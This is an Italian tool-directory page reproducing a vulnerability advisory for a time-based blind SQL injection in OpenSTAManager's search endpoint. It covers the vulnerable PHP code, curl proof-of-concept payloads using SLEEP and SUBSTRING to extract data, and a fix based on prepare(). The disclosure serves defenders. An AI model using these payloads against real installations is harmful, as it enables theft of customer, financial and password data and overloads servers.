Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-24417 — CVE-2026-24417 - OpenSTAManager presenta una SQL Injection Blind basata sul tempo con Denial of Service amplificato | Kitploit
Strumenti/GitHubGitHub/lukasz-rybak/cve-2026-24417
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneSicurezza dei Database
GitHublukasz-rybak/cve-2026-24417

CVE-2026-24417

CVE-2026-24417 - OpenSTAManager presenta una SQL Injection Blind basata sul tempo con Denial of Service amplificato

Vedi Repository
45 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-24417: OpenSTAManager presenta una Blind SQL Injection basata sul tempo con Denial of Service amplificato

Panoramica

CampoDettagli
ID CVECVE-2026-24417
GravitàALTA
AvvisoVisualizza avviso
Scoperta daLukasz Rybak

Prodotti interessati

  • devcode-it/openstamanager (versioni: < 2.9.8)

Classificazione CWE

  • CWE-89: Neutralizzazione non corretta di elementi speciali usati in un comando SQL ('SQL Injection')

Dettagli

Riepilogo

Una vulnerabilità critica di Blind SQL Injection basata sul tempo che interessa molteplici moduli di ricerca in OpenSTAManager v2.9.8 consente ad attaccanti autenticati di estrarre contenuti sensibili del database, inclusi hash di password, dati dei clienti e registri finanziari, tramite attacchi di inferenza booleana basati sul tempo con esecuzione amplificata su oltre 10 moduli.

Stato: ✅ Confermata e testata su istanza live (v2.9.8) Parametro vulnerabile: term (GET) Endpoint interessato: /ajax_search.php Moduli interessati: Articoli, Ordini, DDT, Fatture, Preventivi, Anagrafiche, Impianti, Contratti, Automezzi, Interventi

Dettagli

OpenSTAManager v2.9.8 contiene una vulnerabilità critica di Blind SQL Injection basata sul tempo nella funzionalità di ricerca globale. L'applicazione non riesce a sanificare correttamente il parametro term prima di utilizzarlo nelle clausole SQL LIKE in molteplici gestori di ricerca specifici per modulo, consentendo agli attaccanti di iniettare comandi SQL arbitrari ed estrarre dati sensibili tramite inferenza booleana basata sul tempo.

Catena della vulnerabilità:

  1. Punto di ingresso: /ajax_search.php (Righe 30-31)

    root@kitploit:~
    $term = get('term');
    $term = str_replace('/', '\\/', $term);
    

    Il parametro $term subisce una sanificazione minima (solo la sostituzione della barra).

  2. Distribuzione: /src/AJAX.php::search() (Righe 159-161)

    root@kitploit:~
    $files = self::find('ajax/search.php');
    array_unshift($files, base_dir().'/ajax_search.php');
    foreach ($files as $file) {
        $module_results = self::getSearchResults($file, $term);
    

    Il $term non sanificato viene passato a tutti i gestori di ricerca specifici per modulo.

  3. Esecuzione: /src/AJAX.php::getSearchResults() (Riga 373)

    root@kitploit:~
    require $file;
    

    Il file search.php di ogni modulo viene incluso con la variabile $term nello scope.

  4. Query SQL vulnerabili: Più moduli concatenano direttamente $term senza prepare()

Tutti i file interessati (10+ istanze vulnerabili):

  1. /modules/articoli/ajax/search.php - Riga 51 (ESEMPIO PRINCIPALE)

    root@kitploit:~
    foreach ($fields as $name => $value) {
        $query .= ' OR '.$value.' LIKE "%'.$term.'%"';
    }
    $rs = $dbo->fetchArray($query);
    

    Impatto: Concatenazione diretta senza prepare(), consente la piena SQL injection.

  2. /modules/ordini/ajax/search.php - Righe 43, 47

    root@kitploit:~
    $query .= ' OR '.$value.' LIKE "%'.$term.'%"';
    $query .= '... WHERE `mg_articoli`.`codice` LIKE "%'.$term.'%" OR `mg_articoli_lang`.`title` LIKE "%'.$term.'%"';
    
  3. /modules/ddt/ajax/search.php - Righe 43, 47

    root@kitploit:~
    $query .= ' OR '.$value.' LIKE "%'.$term.'%"';
    
  4. /modules/fatture/ajax/search.php - Righe 45, 49

    root@kitploit:~
    $query .= ' OR '.$value.' LIKE "%'.$term.'%"';
    
  5. /modules/preventivi/ajax/search.php - Righe 45, 49

    root@kitploit:~
    $query .= ' OR '.$value.' LIKE "%'.$term.'%"';
    
  6. /modules/anagrafiche/ajax/search.php - Righe 62, 107, 162

    root@kitploit:~
    $query .= ' OR '.$value.' LIKE "%'.$term.'%"';
    
  7. /modules/impianti/ajax/search.php - Riga 46

    root@kitploit:~
    $query .= ' OR '.$value.' LIKE "%'.$term.'%"';
    

Correttamente sanificati (NON vulnerabili):

  • /modules/contratti/ajax/search.php - Usa correttamente prepare()
  • /modules/automezzi/ajax/search.php - Usa correttamente prepare()

Nota: La vulnerabilità ha esecuzione amplificata: una singola richiesta malevola innesca la SQL injection in TUTTI i moduli vulnerabili simultaneamente, causando l'esecuzione di attacchi basati sul tempo 10+ volte per richiesta, moltiplicando il ritardo e portando a errori 504 Gateway Time-out come osservato sull'istanza demo live.

immagine

PoC

Passaggio 1: Login

root@kitploit:~
curl -c /tmp/cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \
  -d 'username=admin&password=admin'

Passaggio 2: Verifica della vulnerabilità (SLEEP basato sul tempo)

root@kitploit:~
# Test with SLEEP(1) - should take ~85+ seconds due to amplified execution
time curl -s -b /tmp/cookies.txt \
  'http://localhost:8081/ajax_search.php?term=%22%20AND%200%20OR%20SLEEP(1)%20OR%20%22'
# Result: real 72.29s

# Test with SLEEP(0) - should be fast
time curl -s -b /tmp/cookies.txt \
  'http://localhost:8081/ajax_search.php?term=%22%20AND%200%20OR%20SLEEP(0)%20OR%20%22'
# Result: real 0.30s
immagine

Passaggio 3: Estrazione dei dati - Nome del database

root@kitploit:~
# Extract first character of database name (expected: 'o' from 'openstamanager')
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_search.php?term=%22%20AND%20SUBSTRING(DATABASE(),1,1)=%27o%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)%20OR%20%221%22=%221" \
  > /dev/null
# Result: real 170.32s

# Test with wrong character 'x' - should be fast
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_search.php?term=%22%20AND%20SUBSTRING(DATABASE(),1,1)=%27x%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)%20OR%20%221%22=%221" \
  > /dev/null
# Result: real 0m0.30s
immagine

Impatto

Utenti interessati: Tutti gli utenti autenticati con accesso alla funzionalità di ricerca globale.

  • Esfiltrazione completa del database, inclusi dati personali dei clienti, registri finanziari e segreti aziendali
  • Estrazione di hash di password per il cracking offline
  • Gli attacchi basati sul tempo amplificati consumano 85x le risorse del server per richiesta

Correzione consigliata:

Sostituisci tutte le istanze di concatenazione diretta di $term con prepare():

PRIMA (Vulnerabile):

root@kitploit:~
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';

DOPO (Corretta):

root@kitploit:~
$query .= ' OR '.$value.' LIKE '.prepare('%'.$term.'%');

Applica questa correzione a TUTTI i file interessati:

  1. /modules/articoli/ajax/search.php - Riga 51
  2. /modules/ordini/ajax/search.php - Righe 43, 47, 79
  3. /modules/ddt/ajax/search.php - Righe 43, 47, 83
  4. /modules/fatture/ajax/search.php - Righe 45, 49, 85
  5. /modules/preventivi/ajax/search.php - Righe 45, 49, 83
  6. /modules/anagrafiche/ajax/search.php - Righe 62, 107, 162
  7. /modules/impianti/ajax/search.php - Riga 46

Riferimenti

  • https://github.com/devcode-it/openstamanager/security/advisories/GHSA-4hc4-8599-xh2h
  • https://nvd.nist.gov/vuln/detail/CVE-2026-24417
  • https://github.com/advisories/GHSA-4hc4-8599-xh2h

Dichiarazione di non responsabilità

Questa CVE è stata divulgata in modo responsabile seguendo le pratiche di divulgazione coordinata delle vulnerabilità. Le informazioni fornite qui sono solo a scopo educativo e difensivo.

Scarica lo strumento